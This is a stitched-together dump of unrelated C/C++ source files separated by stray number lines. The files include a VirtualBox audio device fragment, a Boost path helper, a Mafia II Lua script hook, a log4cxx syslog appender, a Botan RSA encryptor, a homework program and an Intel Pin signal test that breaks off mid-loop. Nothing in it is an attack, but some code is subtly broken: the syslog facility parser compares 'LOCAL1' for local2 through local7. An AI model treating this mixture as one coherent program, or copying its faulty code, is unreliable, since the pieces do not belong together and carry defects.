VBOX_WITH_AUDIO_HDA_MIC_IN */ if (!fValidOut) { LogRel(("HDA: WARNING: Unable to open PCM output for LUN #%RU8!\n", pDrv->uLUN)); len += RTStrPrintf(szMissingStreams + len, sizeof(szMissingStreams) - len, len ? ", PCM Output" : "PCM Output"); } PDMDevHlpVMSetRuntimeError(pDevIns, 0 /*fFlags*/, "HostAudioNotResponding", N_("Some HDA audio streams (%s) could not be opened. Guest applications generating audio " "output or depending on audio input may hang. Make sure your host audio device " "is working properly. Check the logfile for error messages of the audio " "subsystem"), szMissingStreams); } } } #endif /* VBOX_WITH_AUDIO_HDA_ONETIME_INIT */ } if (RT_SUCCESS(rc)) { hdaR3Reset(pDevIns); /* * Debug and string formatter types. */ PDMDevHlpDBGFInfoRegister(pDevIns, "hda", "HDA info. (hda [register case-insensitive])", hdaR3DbgInfo); PDMDevHlpDBGFInfoRegister(pDevIns, "hdabdle", "HDA stream BDLE info. (hdabdle [stream number])", hdaR3DbgInfoBDLE); PDMDevHlpDBGFInfoRegister(pDevIns, "hdastream", "HDA stream info. (hdastream [stream number])", hdaR3DbgInfoStream); PDMDevHlpDBGFInfoRegister(pDevIns, "hdcnodes", "HDA codec nodes.", hdaR3DbgInfoCodecNodes); PDMDevHlpDBGFInfoRegister(pDevIns, "hdcselector", "HDA codec's selector states [node number].", hdaR3DbgInfoCodecSelector); PDMDevHlpDBGFInfoRegister(pDevIns, "hdamixer", "HDA mixer state.", hdaR3DbgInfoMixer); rc = RTStrFormatTypeRegister("bdle", hdaR3StrFmtBDLE, NULL); AssertRC(rc); rc = RTStrFormatTypeRegister("sdctl", hdaR3StrFmtSDCTL, NULL); AssertRC(rc); rc = RTStrFormatTypeRegister("sdsts", hdaR3StrFmtSDSTS, NULL); AssertRC(rc); rc = RTStrFormatTypeRegister("sdfifos", hdaR3StrFmtSDFIFOS, NULL); AssertRC(rc); rc = RTStrFormatTypeRegister("sdfifow", hdaR3StrFmtSDFIFOW, NULL); AssertRC(rc); /* * Some debug assertions. */ for (unsigned i = 0; i < RT_ELEMENTS(g_aHdaRegMap); i++) { struct HDAREGDESC const *pReg = &g_aHdaRegMap[i]; struct HDAREGDESC const *pNextReg = i + 1 < RT_ELEMENTS(g_aHdaRegMap) ? &g_aHdaRegMap[i + 1] : NULL; /* binary search order. */ AssertReleaseMsg(!pNextReg || pReg->offset + pReg->size <= pNextReg->offset, ("[%#x] = {%#x LB %#x} vs. [%#x] = {%#x LB %#x}\n", i, pReg->offset, pReg->size, i + 1, pNextReg->offset, pNextReg->size)); /* alignment. */ AssertReleaseMsg( pReg->size == 1 || (pReg->size == 2 && (pReg->offset & 1) == 0) || (pReg->size == 3 && (pReg->offset & 3) == 0) || (pReg->size == 4 && (pReg->offset & 3) == 0), ("[%#x] = {%#x LB %#x}\n", i, pReg->offset, pReg->size)); /* registers are packed into dwords - with 3 exceptions with gaps at the end of the dword. */ AssertRelease(((pReg->offset + pReg->size) & 3) == 0 || pNextReg); if (pReg->offset & 3) { struct HDAREGDESC const *pPrevReg = i > 0 ? &g_aHdaRegMap[i - 1] : NULL; AssertReleaseMsg(pPrevReg, ("[%#x] = {%#x LB %#x}\n", i, pReg->offset, pReg->size)); if (pPrevReg) AssertReleaseMsg(pPrevReg->offset + pPrevReg->size == pReg->offset, ("[%#x] = {%#x LB %#x} vs. [%#x] = {%#x LB %#x}\n", i - 1, pPrevReg->offset, pPrevReg->size, i + 1, pReg->offset, pReg->size)); } #if 0 if ((pReg->offset + pReg->size) & 3) { AssertReleaseMsg(pNextReg, ("[%#x] = {%#x LB %#x}\n", i, pReg->offset, pReg->size)); if (pNextReg) AssertReleaseMsg(pReg->offset + pReg->size == pNextReg->offset, ("[%#x] = {%#x LB %#x} vs. [%#x] = {%#x LB %#x}\n", i, pReg->offset, pReg->size, i + 1, pNextReg->offset, pNextReg->size)); } #endif /* The final entry is a full DWORD, no gaps! Allows shortcuts. */ AssertReleaseMsg(pNextReg || ((pReg->offset + pReg->size) & 3) == 0, ("[%#x] = {%#x LB %#x}\n", i, pReg->offset, pReg->size)); } } # ifdef VBOX_WITH_STATISTICS if (RT_SUCCESS(rc)) { /* * Register statistics. */ PDMDevHlpSTAMRegister(pDevIns, &pThis->StatTimer, STAMTYPE_PROFILE, "/Devices/HDA/Timer", STAMUNIT_TICKS_PER_CALL, "Profiling hdaR3Timer."); PDMDevHlpSTAMRegister(pDevIns, &pThis->StatIn, STAMTYPE_PROFILE, "/Devices/HDA/Input", STAMUNIT_TICKS_PER_CALL, "Profiling input."); PDMDevHlpSTAMRegister(pDevIns, &pThis->StatOut, STAMTYPE_PROFILE, "/Devices/HDA/Output", STAMUNIT_TICKS_PER_CALL, "Profiling output."); PDMDevHlpSTAMRegister(pDevIns, &pThis->StatBytesRead, STAMTYPE_COUNTER, "/Devices/HDA/BytesRead" , STAMUNIT_BYTES, "Bytes read from HDA emulation."); PDMDevHlpSTAMRegister(pDevIns, &pThis->StatBytesWritten, STAMTYPE_COUNTER, "/Devices/HDA/BytesWritten", STAMUNIT_BYTES, "Bytes written to HDA emulation."); } # endif LogFlowFuncLeaveRC(rc); return rc; } /** * The device registration structure. */ const PDMDEVREG g_DeviceHDA = { /* u32Version */ PDM_DEVREG_VERSION, /* szName */ "hda", /* szRCMod */ "VBoxDDRC.rc", /* szR0Mod */ "VBoxDDR0.r0", /* pszDescription */ "Intel HD Audio Controller", /* fFlags */ PDM_DEVREG_FLAGS_DEFAULT_BITS | PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0, /* fClass */ PDM_DEVREG_CLASS_AUDIO, /* cMaxInstances */ 1, /* cbInstance */ sizeof(HDASTATE), /* pfnConstruct */ hdaR3Construct, /* pfnDestruct */ hdaR3Destruct, /* pfnRelocate */ hdaR3Relocate, /* pfnMemSetup */ NULL, /* pfnPowerOn */ NULL, /* pfnReset */ hdaR3Reset, /* pfnSuspend */ NULL, /* pfnResume */ NULL, /* pfnAttach */ hdaR3Attach, /* pfnDetach */ hdaR3Detach, /* pfnQueryInterface. */ NULL, /* pfnInitComplete */ NULL, /* pfnPowerOff */ hdaR3PowerOff, /* pfnSoftReset */ NULL, /* u32VersionEnd */ PDM_DEVREG_VERSION }; #endif /* IN_RING3 */ #endif /* !VBOX_DEVICE_STRUCT_TESTCASE */
196,624
77,121
// Copyright 2014 Renato Tegon Forti // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt // or copy at http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_APPLICATION_DETAIL_POSIX_PATH_FROM_ME_HPP #define BOOST_APPLICATION_DETAIL_POSIX_PATH_FROM_ME_HPP #include <boost/application/config.hpp> #include <boost/predef/os.h> #include <filesystem> #include <system_error> #include <cstdlib> #include <pwd.h> #include <unistd.h> #ifdef BOOST_HAS_PRAGMA_ONCE # pragma once #endif namespace boost::application::detail { class default_path_impl { std::filesystem::path full_path_; std::filesystem::path path_from_me(std::error_code &ec) { return std::filesystem::read_symlink("/proc/self/exe", ec); } std::filesystem::path getenv(const char* env_name) { const char* res = ::getenv(env_name); return res ? res : std::filesystem::path(); } public: std::filesystem::path current_path() { return std::filesystem::current_path(); } const std::filesystem::path& location(std::error_code &ec) { if(!full_path_.empty()) return full_path_; std::filesystem::path full_path = path_from_me(ec); if(ec) full_path_ = std::filesystem::path(); full_path_ = full_path; return full_path_; } const std::filesystem::path& location() { if(!full_path_.empty()) return full_path_; std::error_code ec; full_path_ = location(ec); if (ec) { boost::throw_exception( std::system_error( ec, "location() failed" )); } return full_path_; } inline std::filesystem::path home_path() { std::filesystem::path path = getenv("HOME"); if(path.empty()) { struct passwd* pwd = getpwuid(getuid()); if(pwd) return pwd->pw_dir; return "."; } return path; } inline std::filesystem::path app_data_path() { std::filesystem::path path = getenv("XDG_DATA_HOME"); if(path.empty()) { #if BOOST_OS_MACOS return home_path() / "Library/Preferences/"; #else return home_path() / ".local/share"; #endif } return path; } inline std::filesystem::path config_path() { std::filesystem::path path = getenv("XDG_CONFIG_HOME"); if(path.empty()) { #if BOOST_OS_MACOS return home_path() / "Library/Preferences/"; #else return home_path() / ".config"; #endif } return path; } inline std::filesystem::path temp_path() { std::filesystem::path path = getenv("TMPDIR"); if(path.empty()) return "/tmp"; // Fallback if TMPDIR not available return path; } }; } // namespace boost::application::detail #endif // BOOST_APPLICATION_DETAIL_POSIX_PATH_FROM_ME_HPP
3,376
1,026
// Base Application taken from Klusark (GPLv2) // https://code.google.com/archive/p/mafia2injector/ /* * Copyright (c) 2010 Barzakh (martinjk 'at' outlook 'dot' com) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source * distribution. * 4. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include <LuaStateManager.h> #include <Windows.h> #include <LuaFunctions.h> #include <M3ScriptHook.h> #include <ScriptSystem.h> #include <chrono> #include <thread> LuaStateManager::LuaStateManager() { m_pLuaState = nullptr; m_bEnded = false; } LuaStateManager::~LuaStateManager() { m_bEnded = true; } void LuaStateManager::StartThread() { M3ScriptHook::instance()->Log(__FUNCTION__); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)LuaStateManager::WatcherThread, 0, 0, 0); } void LuaStateManager::StateChanged(lua_State *L) { M3ScriptHook::instance()->Log(__FUNCTION__); ++this->m_stateChangeCount; this->m_pLuaState = L; LuaFunctions::instance()->Setup(); this->m_stateChangeCount == 1 ? PluginSystem::instance()->StartPlugins() :PluginSystem::instance()->RelaunchPlugins(); ScriptSystem::instance()->ReloadScripts(); } lua_State* LuaStateManager::GetState() { if (this->m_pLuaState) { return lua_newthread_(this->m_pLuaState); } else { return nullptr; } } bool LuaStateManager::IsStateGood(lua_State *L) { return L != nullptr; } bool LuaStateManager::HasEnded() { return this->m_bEnded; } uint32_t WINAPI LuaStateManager::WatcherThread(LPVOID) { do { std::this_thread::sleep_for(std::chrono::seconds(1)); } while (!LuaFunctions::instance()->IsMainScriptMachineReady()); static lua_State *lastState = nullptr; static C_ScriptGameMachine *machine = nullptr; static LuaStateManager *instance = LuaStateManager::instance(); while (!instance->HasEnded()) { lua_State* nstate = GetL(machine); if (nstate != lastState && nstate) { instance->StateChanged(nstate); lastState = nstate; } std::this_thread::sleep_for(std::chrono::seconds(10)); std::this_thread::yield(); } return 0; }
3,316
1,178
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef OS_WINCE #include <stdlib.h> #endif #include <log4cxx/net/syslogappender.h> #include <log4cxx/helpers/loglog.h> #include <log4cxx/helpers/stringhelper.h> #include <log4cxx/helpers/datagramsocket.h> #include <log4cxx/spi/loggingevent.h> #include <log4cxx/level.h> #include <log4cxx/helpers/transcoder.h> #if !defined(LOG4CXX) #define LOG4CXX 1 #endif #include <log4cxx/private/log4cxx_private.h> #if LOG4CXX_HAVE_SYSLOG #include <syslog.h> #else /* facility codes */ #define LOG_KERN (0<<3) /* kernel messages */ #define LOG_USER (1<<3) /* random user-level messages */ #define LOG_MAIL (2<<3) /* mail system */ #define LOG_DAEMON (3<<3) /* system daemons */ #define LOG_AUTH (4<<3) /* security/authorization messages */ #define LOG_SYSLOG (5<<3) /* messages generated internally by syslogd */ #define LOG_LPR (6<<3) /* line printer subsystem */ #define LOG_NEWS (7<<3) /* network news subsystem */ #define LOG_UUCP (8<<3) /* UUCP subsystem */ #define LOG_CRON (9<<3) /* clock daemon */ #define LOG_AUTHPRIV (10<<3) /* security/authorization messages (private) */ #define LOG_FTP (11<<3) /* ftp daemon */ /* other codes through 15 reserved for system use */ #define LOG_LOCAL0 (16<<3) /* reserved for local use */ #define LOG_LOCAL1 (17<<3) /* reserved for local use */ #define LOG_LOCAL2 (18<<3) /* reserved for local use */ #define LOG_LOCAL3 (19<<3) /* reserved for local use */ #define LOG_LOCAL4 (20<<3) /* reserved for local use */ #define LOG_LOCAL5 (21<<3) /* reserved for local use */ #define LOG_LOCAL6 (22<<3) /* reserved for local use */ #define LOG_LOCAL7 (23<<3) /* reserved for local use */ #endif #define LOG_UNDEF -1 using namespace log4cxx; using namespace log4cxx::helpers; using namespace log4cxx::net; IMPLEMENT_LOG4CXX_OBJECT(SyslogAppender) SyslogAppender::SyslogAppender() : syslogFacility(LOG_USER), facilityPrinting(false), sw(0) { this->initSyslogFacilityStr(); } SyslogAppender::SyslogAppender(const LayoutPtr& layout1, int syslogFacility1) : syslogFacility(syslogFacility1), facilityPrinting(false), sw(0) { this->layout = layout1; this->initSyslogFacilityStr(); } SyslogAppender::SyslogAppender(const LayoutPtr& layout1, const LogString& syslogHost1, int syslogFacility1) : syslogFacility(syslogFacility1), facilityPrinting(false), sw(0) { this->layout = layout1; this->initSyslogFacilityStr(); setSyslogHost(syslogHost1); } SyslogAppender::~SyslogAppender() { finalize(); } /** Release any resources held by this SyslogAppender.*/ void SyslogAppender::close() { closed = true; if (sw != 0) { delete sw; sw = 0; } } void SyslogAppender::initSyslogFacilityStr() { facilityStr = getFacilityString(this->syslogFacility); if (facilityStr.empty()) { Pool p; LogString msg(LOG4CXX_STR("\"")); StringHelper::toString(syslogFacility, p, msg); msg.append(LOG4CXX_STR("\" is an unknown syslog facility. Defaulting to \"USER\".")); LogLog::error(msg); this->syslogFacility = LOG_USER; facilityStr = LOG4CXX_STR("user:"); } else { facilityStr += LOG4CXX_STR(":"); } } /** Returns the specified syslog facility as a lower-case String, e.g. "kern", "user", etc. */ LogString SyslogAppender::getFacilityString( int syslogFacility) { switch(syslogFacility) { case LOG_KERN: return LOG4CXX_STR("kern"); case LOG_USER: return LOG4CXX_STR("user"); case LOG_MAIL: return LOG4CXX_STR("mail"); case LOG_DAEMON: return LOG4CXX_STR("daemon"); case LOG_AUTH: return LOG4CXX_STR("auth"); case LOG_SYSLOG: return LOG4CXX_STR("syslog"); case LOG_LPR: return LOG4CXX_STR("lpr"); case LOG_NEWS: return LOG4CXX_STR("news"); case LOG_UUCP: return LOG4CXX_STR("uucp"); case LOG_CRON: return LOG4CXX_STR("cron"); #ifdef LOG_AUTHPRIV case LOG_AUTHPRIV: return LOG4CXX_STR("authpriv"); #endif #ifdef LOG_FTP case LOG_FTP: return LOG4CXX_STR("ftp"); #endif case LOG_LOCAL0: return LOG4CXX_STR("local0"); case LOG_LOCAL1: return LOG4CXX_STR("local1"); case LOG_LOCAL2: return LOG4CXX_STR("local2"); case LOG_LOCAL3: return LOG4CXX_STR("local3"); case LOG_LOCAL4: return LOG4CXX_STR("local4"); case LOG_LOCAL5: return LOG4CXX_STR("local5"); case LOG_LOCAL6: return LOG4CXX_STR("local6"); case LOG_LOCAL7: return LOG4CXX_STR("local7"); default: return LogString(); } } int SyslogAppender::getFacility( const LogString& s) { if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("KERN"), LOG4CXX_STR("kern"))) { return LOG_KERN; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("USER"), LOG4CXX_STR("user"))) { return LOG_USER; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("MAIL"), LOG4CXX_STR("mail"))) { return LOG_MAIL; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("DAEMON"), LOG4CXX_STR("daemon"))) { return LOG_DAEMON; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("AUTH"), LOG4CXX_STR("auth"))) { return LOG_AUTH; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("SYSLOG"), LOG4CXX_STR("syslog"))) { return LOG_SYSLOG; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LPR"), LOG4CXX_STR("lpr"))) { return LOG_LPR; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("NEWS"), LOG4CXX_STR("news"))) { return LOG_NEWS; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("UUCP"), LOG4CXX_STR("uucp"))) { return LOG_UUCP; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("CRON"), LOG4CXX_STR("cron"))) { return LOG_CRON; } #ifdef LOG_AUTHPRIV else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("AUTHPRIV"), LOG4CXX_STR("authpriv"))) { return LOG_AUTHPRIV; } #endif #ifdef LOG_FTP else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("FTP"), LOG4CXX_STR("ftp"))) { return LOG_FTP; } #endif else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL0"), LOG4CXX_STR("local0"))) { return LOG_LOCAL0; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local1"))) { return LOG_LOCAL1; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local2"))) { return LOG_LOCAL2; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local3"))) { return LOG_LOCAL3; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local4"))) { return LOG_LOCAL4; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local5"))) { return LOG_LOCAL5; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local6"))) { return LOG_LOCAL6; } else if (StringHelper::equalsIgnoreCase(s, LOG4CXX_STR("LOCAL1"), LOG4CXX_STR("local7"))) { return LOG_LOCAL7; } else { return LOG_UNDEF; } } void SyslogAppender::append(const spi::LoggingEventPtr& event, Pool& p) { if (!isAsSevereAsThreshold(event->getLevel())) return; LogString msg; layout->format(msg, event, p); // On the local host, we can directly use the system function 'syslog' // if it is available #if LOG4CXX_HAVE_SYSLOG if (sw == 0) { std::string sbuf; Transcoder::encode(msg, sbuf); // use of "%s" to avoid a security hole ::syslog(syslogFacility | event->getLevel()->getSyslogEquivalent(), "%s", sbuf.c_str()); return; } #endif // We must not attempt to append if sw is null. if(sw == 0) { errorHandler->error(LOG4CXX_STR("No syslog host is set for SyslogAppedender named \"")+ this->name+LOG4CXX_STR("\".")); return; } LogString sbuf(1, 0x3C /* '<' */); StringHelper::toString((syslogFacility | event->getLevel()->getSyslogEquivalent()), p, sbuf); sbuf.append(1, (logchar) 0x3E /* '>' */); if (facilityPrinting) { sbuf.append(facilityStr); } sbuf.append(msg); sw->write(sbuf); } void SyslogAppender::activateOptions(Pool&) { } void SyslogAppender::setOption(const LogString& option, const LogString& value) { if (StringHelper::equalsIgnoreCase(option, LOG4CXX_STR("SYSLOGHOST"), LOG4CXX_STR("sysloghost"))) { setSyslogHost(value); } else if (StringHelper::equalsIgnoreCase(option, LOG4CXX_STR("FACILITY"), LOG4CXX_STR("facility"))) { setFacility(value); } else { AppenderSkeleton::setOption(option, value); } } void SyslogAppender::setSyslogHost(const LogString& syslogHost1) { if (this->sw != 0) { delete this->sw; this->sw = 0; } // On the local host, we can directly use the system function 'syslog' // if it is available (cf. append) #if LOG4CXX_HAVE_SYSLOG if (syslogHost1 != LOG4CXX_STR("localhost") && syslogHost1 != LOG4CXX_STR("127.0.0.1") && !syslogHost1.empty()) #endif this->sw = new SyslogWriter(syslogHost1); this->syslogHost = syslogHost1; } void SyslogAppender::setFacility(const LogString& facilityName) { if (facilityName.empty()) { return; } syslogFacility = getFacility(facilityName); if (syslogFacility == LOG_UNDEF) { LogLog::error(LOG4CXX_STR("[")+facilityName + LOG4CXX_STR("] is an unknown syslog facility. Defaulting to [USER].")); syslogFacility = LOG_USER; } this->initSyslogFacilityStr(); }
12,316
4,105
// // Config.cpp // render/src/task // // Created by Zach Pomerantz on 1/21/2016. // Copyright 2016 High Fidelity, Inc. // // Distributed under the Apache License, Version 2.0. // See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html // #include "Config.h" #include "Task.h" #include <QtCore/QThread> using namespace task; void JobConfig::setPresetList(const QJsonObject& object) { for (auto it = object.begin(); it != object.end(); it++) { JobConfig* child = findChild<JobConfig*>(it.key(), Qt::FindDirectChildrenOnly); if (child) { child->setPresetList(it.value().toObject()); } } } void TaskConfig::connectChildConfig(QConfigPointer childConfig, const std::string& name) { childConfig->setParent(this); childConfig->setObjectName(name.c_str()); // Connect loaded->refresh QObject::connect(childConfig.get(), SIGNAL(loaded()), this, SLOT(refresh())); static const char* DIRTY_SIGNAL = "dirty()"; if (childConfig->metaObject()->indexOfSignal(DIRTY_SIGNAL) != -1) { // Connect dirty->refresh if defined QObject::connect(childConfig.get(), SIGNAL(dirty()), this, SLOT(refresh())); } } void TaskConfig::transferChildrenConfigs(QConfigPointer source) { if (!source) { return; } // Transfer children to the new configuration auto children = source->children(); for (auto& child : children) { child->setParent(this); QObject::connect(child, SIGNAL(loaded()), this, SLOT(refresh())); static const char* DIRTY_SIGNAL = "dirty()"; if (child->metaObject()->indexOfSignal(DIRTY_SIGNAL) != -1) { // Connect dirty->refresh if defined QObject::connect(child, SIGNAL(dirty()), this, SLOT(refresh())); } } } void TaskConfig::refresh() { if (QThread::currentThread() != thread()) { QMetaObject::invokeMethod(this, "refresh", Qt::BlockingQueuedConnection); return; } _task->applyConfiguration(); }
2,039
648
#ifndef __RES_INT_H__ #define __RES_INT_H__ #include <Arduino.h> class ResInt { public: const int valor; const String error; ResInt(int _valor, String _error ); ResInt(const ResInt& ref ); const char* valida(); }; #endif
271
104
#include "encryptor.h" #include <QtCore/QCryptographicHash> #include <botan/botan.h> #include <botan/pubkey.h> #include <botan/pkcs8.h> #include <botan/pk_keys.h> #include <botan/rsa.h> Encryptor::Encryptor(QObject *parent) : QObject(parent) { } QByteArray Encryptor::createRandomString() { QByteArray randomString; Botan::AutoSeeded_RNG rng; const uint RANDOM_DATA_SIZE = 256; Botan::byte randomData[RANDOM_DATA_SIZE]; rng.randomize(randomData, RANDOM_DATA_SIZE); for (int index = 0; index < RANDOM_DATA_SIZE; ++index) { randomString.append(randomData[index]); } return randomString; } QByteArray Encryptor::encryptAsymmetricly(QByteArray &publicKey, QByteArray &data) { Botan::DataSource_Memory key_pub(publicKey.toStdString()); auto publicRsaKey = Botan::X509::load_key(key_pub); const uint DATA_SIZE = data.size(); Botan::byte msgtoencrypt[DATA_SIZE]; for (uint i = 0; i < DATA_SIZE; i++) { msgtoencrypt[i] = data[i]; } Botan::PK_Encryptor_EME encryptor(*publicRsaKey, "EME1(SHA-256)"); Botan::AutoSeeded_RNG rng; std::vector<Botan::byte> ciphertext = encryptor.encrypt(msgtoencrypt, DATA_SIZE, rng); QByteArray keyCipherData; keyCipherData.resize(ciphertext.size()); for ( uint i = 0; i < ciphertext.size(); i++ ) { keyCipherData[i] = ciphertext.at(i); } return keyCipherData; }
1,417
561
/* Stadium Seating There are three seating categories at a stadium . For a softball game, Class A seats cost $15, Class B seats cost $12, and Class C seats cost $9. Write a program that asks how many tickets for each class of seats were sold, then displays the amount of income generated from ticket sales. Format your dollar amount in a fixed-point notation with two decimal points and make sure the decimal point is always displayed. */ #include <iostream> #include <iomanip> #include <string> using namespace std; int main() { double seatsA = 0, seatsB =0, seatsC = 0, total; cout << "How many seats for Class A were sold? "; cin >> seatsA; seatsA= seatsA * 15; cout << "How many seats for Class B were sold? "; cin >> seatsB; seatsB = seatsB * 12; cout << "How many seats for Class C were sold? "; cin >> seatsC; seatsC = seatsC * 9; total = (seatsA + seatsB + seatsC); cout << setprecision(2) << fixed; cout << "Revenue generated: $" << total << endl; system("pause"); return (0); }
1,081
345
/* @ 0xCCCCCCCC */ #include <cstdio> #include <thread> #include <errno.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/syscall.h> pid_t GetCurrentThreadID() { return syscall(__NR_gettid); } void SetThreadName(const char* name) { if (GetCurrentThreadID() == getpid()) { return; } int err = prctl(PR_SET_NAME, name); if (err < 0) { fprintf(stderr, "error: %d", errno); } } int main() { std::thread th([] { SetThreadName("Worker"); printf("Set thread name complete!\n"); }); th.join(); return 0; }
590
235
/*BEGIN_LEGAL Intel Open Source License Copyright (c) 2002-2012 Intel Corporation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. END_LEGAL */ /* * This is a stress test for handling signals in a multi-threaded application. * The root thread creates two classes of worker threads: computers and blockers. * Computers execute a small loop that should run entirely from the Pin code cache * once it is compiled. Blockers iteratively execute a blocking system call. The * root thread randomly sends signals to each of the works as fast as possible. */ #include <cstdlib> #include <iostream> #include <pthread.h> #include <cassert> #include <signal.h> #include <time.h> const unsigned NUM_BLOCKERS = 8; const unsigned NUM_COMPUTERS = 8; const unsigned NUM_SIGNALS = 1000; // The total number of signals received by all threads. // volatile unsigned NumSignalsReceived = 0; pthread_mutex_t SignalReceivedLock = PTHREAD_MUTEX_INITIALIZER; // Information for each worker thread. // struct THREAD_INFO { THREAD_INFO() : _ready(false) { pthread_mutex_init(&_readyLock, 0); pthread_cond_init(&_readyCond, 0); } ~THREAD_INFO() { pthread_cond_destroy(&_readyCond); pthread_mutex_destroy(&_readyLock); } pthread_t _tid; // This is set TRUE when the thread is ready to receive a signal. // bool _ready; pthread_mutex_t _readyLock; pthread_cond_t _readyCond; }; THREAD_INFO *ThreadInfos; // Each thread uses this key to find its own THREAD_INFO. // pthread_key_t MyInfoKey; static void *BlockerRoot(void *); static void *ComputerRoot(void *); static void SetMyInfo(THREAD_INFO *); static void Handle(int); int main() { struct sigaction act; act.sa_handler = Handle; act.sa_flags = 0; sigemptyset(&act.sa_mask); if (sigaction(SIGUSR1, &act, 0) != 0) { std::cerr << "Unable to set SIGUSR1 handler\n"; return 1; } if (pthread_key_create(&MyInfoKey, 0) != 0) { std::cerr << "Unable to create key\n"; return 1; } // Create the worker threads. // ThreadInfos = new THREAD_INFO[NUM_BLOCKERS + NUM_COMPUTERS]; for (unsigned i = 0; i < NUM_BLOCKERS; i++) { THREAD_INFO *info = &ThreadInfos[i]; if (pthread_create(&info->_tid, 0, BlockerRoot, info) != 0) { std::cerr << "Unable to create blocker thread\n"; return 1; } } for (unsigned i = 0; i < NUM_COMPUTERS; i++) { THREAD_INFO *info = &ThreadInfos[NUM_BLOCKERS + i]; if (pthread_create(&info->_tid, 0, ComputerRoot, info) != 0) { std::cerr << "Unable to create computer thread\n"; return 1; } } // Randomly send signals to the workers. // for (unsigned i = 0; i < NUM_SIGNALS; i++) { unsigned index = std::rand() % (NUM_BLOCKERS + NUM_COMPUTERS); THREAD_INFO *info = &ThreadInfos[index]; // Wait for the worker to be ready to handle a signal. // pthread_mutex_lock(&info->_readyLock); while (!info->_ready) pthread_cond_wait(&info->_readyCond, &info->_readyLock); info->_ready = false; pthread_mutex_unlock(&info->_readyLock); std::cout << "Sending signal " << std::dec << i << "\n"; if (pthread_kill(info->_tid, SIGUSR1) != 0) { std::cerr << "Unable to send SIGUSR1 to thread index " << std::dec << index << "\n"; return 1; } } // Wait for all the workers to terminate. // for (unsigned i = 0; i < NUM_BLOCKERS + 